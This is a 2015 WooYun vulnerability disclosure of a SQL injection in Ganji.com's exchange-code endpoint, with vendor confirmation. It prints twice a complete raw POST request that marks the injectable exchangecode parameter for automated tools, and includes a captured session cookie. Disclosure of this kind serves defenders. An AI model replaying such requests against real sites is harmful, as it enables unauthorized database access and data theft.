当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129664

漏洞标题:赶集网主站SQL注射漏洞第三枚(数据轻松跑出)

相关厂商:赶集网

漏洞作者: 沦沦

提交时间:2015-07-27 14:29

修复时间:2015-09-10 15:18

公开时间:2015-09-10 15:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

好吧再来一枚注入

详细说明:

POST /vip/my_exchangecode.php?vaction=checkExchangecode HTTP/1.1
Host: www.ganji.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.ganji.com/vip/my_exchangecode.php?vaction=exchangecoding
Content-Length: 97
Cookie: td_cookie=291516003; statistics_clientid=me; __utma=32156897.1856091596.1437808633.1437914976.1437971959.6; __utmz=32156897.1437971959.6.3.utmcsr=ganji.com|utmccn=(referral)|utmcmd=referral|utmcct=/; ganji_uuid=6278320008831332031972; uc_index_last_panel=addLandmark; JY_users=true; ganji_xuuid=a1fcacf5-a5bb-4a69-94a7-42ebe48ec575.1436508763111; citydomain=bj; lg=1; NTKF_T2D_CLIENTID=guest585040C7-F11A-6326-C883-136E5C423F93; cityDomain=yc; mobversionbeta=2.0; __utmganji_v20110909=0xa31905a3ed971d872c8e3e4ae87e1dc; ssid=CssHI7VnLCV18OMwCsWTXhm4; WantedListPageScreenType=1366; sscode=sRD6hvmH8%2F78%2FMpSsR6q0p%2Bo; GanjiUserName=%23m_479732457; GanjiUserInfo=%7B%22user_id%22%3A479732457%2C%22email%22%3A%22%22%2C%22username%22%3A%22%23m_479732457%22%2C%22user_name%22%3A%22%23m_479732457%22%2C%22nickname%22%3A%2211111%22%7D; bizs=%5B%5D; supercookie=AQp5AmZlAQH3WQqvBGOxZJIxZQSyLGZlLJVjBGZ4BGp1AQMyAwAwLGt4AQSyZwHkAzD%3D; last_name=%23m_479732457; td_cookie=291483730; STA_DS=1; _gl_tracker=%7B%22ca_source%22%3A%22-%22%2C%22ca_name%22%3A%22-%22%2C%22ca_kw%22%3A%22-%22%2C%22ca_id%22%3A%22-%22%2C%22ca_s%22%3A%22self%22%2C%22ca_n%22%3A%22-%22%2C%22ca_i%22%3A%22-%22%2C%22sid%22%3A45556959549%7D; __utmb=32156897.28.10.1437971959; __utmc=32156897; GANJISESSID=90a8d347d96c5070a6d9e92f7c9d3898; nTalk_CACHE_DATA={uid:kf_10111_ISME9754_479732457}; __utmt=1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
exchangecode=111111*&__hash__=IM5xOq5THoBqZTHpkQebFA%2FaxizqqIVmR%2FnzwbyThvUyRHgmHtBKUoubMht038XD


exchangecode参数没进行过滤

1.jpg

2.jpg

3.jpg

漏洞证明:

POST /vip/my_exchangecode.php?vaction=checkExchangecode HTTP/1.1
Host: www.ganji.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.ganji.com/vip/my_exchangecode.php?vaction=exchangecoding
Content-Length: 97
Cookie: td_cookie=291516003; statistics_clientid=me; __utma=32156897.1856091596.1437808633.1437914976.1437971959.6; __utmz=32156897.1437971959.6.3.utmcsr=ganji.com|utmccn=(referral)|utmcmd=referral|utmcct=/; ganji_uuid=6278320008831332031972; uc_index_last_panel=addLandmark; JY_users=true; ganji_xuuid=a1fcacf5-a5bb-4a69-94a7-42ebe48ec575.1436508763111; citydomain=bj; lg=1; NTKF_T2D_CLIENTID=guest585040C7-F11A-6326-C883-136E5C423F93; cityDomain=yc; mobversionbeta=2.0; __utmganji_v20110909=0xa31905a3ed971d872c8e3e4ae87e1dc; ssid=CssHI7VnLCV18OMwCsWTXhm4; WantedListPageScreenType=1366; sscode=sRD6hvmH8%2F78%2FMpSsR6q0p%2Bo; GanjiUserName=%23m_479732457; GanjiUserInfo=%7B%22user_id%22%3A479732457%2C%22email%22%3A%22%22%2C%22username%22%3A%22%23m_479732457%22%2C%22user_name%22%3A%22%23m_479732457%22%2C%22nickname%22%3A%2211111%22%7D; bizs=%5B%5D; supercookie=AQp5AmZlAQH3WQqvBGOxZJIxZQSyLGZlLJVjBGZ4BGp1AQMyAwAwLGt4AQSyZwHkAzD%3D; last_name=%23m_479732457; td_cookie=291483730; STA_DS=1; _gl_tracker=%7B%22ca_source%22%3A%22-%22%2C%22ca_name%22%3A%22-%22%2C%22ca_kw%22%3A%22-%22%2C%22ca_id%22%3A%22-%22%2C%22ca_s%22%3A%22self%22%2C%22ca_n%22%3A%22-%22%2C%22ca_i%22%3A%22-%22%2C%22sid%22%3A45556959549%7D; __utmb=32156897.28.10.1437971959; __utmc=32156897; GANJISESSID=90a8d347d96c5070a6d9e92f7c9d3898; nTalk_CACHE_DATA={uid:kf_10111_ISME9754_479732457}; __utmt=1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
exchangecode=111111*&__hash__=IM5xOq5THoBqZTHpkQebFA%2FaxizqqIVmR%2FnzwbyThvUyRHgmHtBKUoubMht038XD


exchangecode参数没进行过滤

1.jpg

2.jpg

3.jpg

修复方案:

过滤

版权声明:转载请注明来源 沦沦@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-07-27 15:16

厂商回复:

非常感谢, 问题已在着手处理~

最新状态:

暂无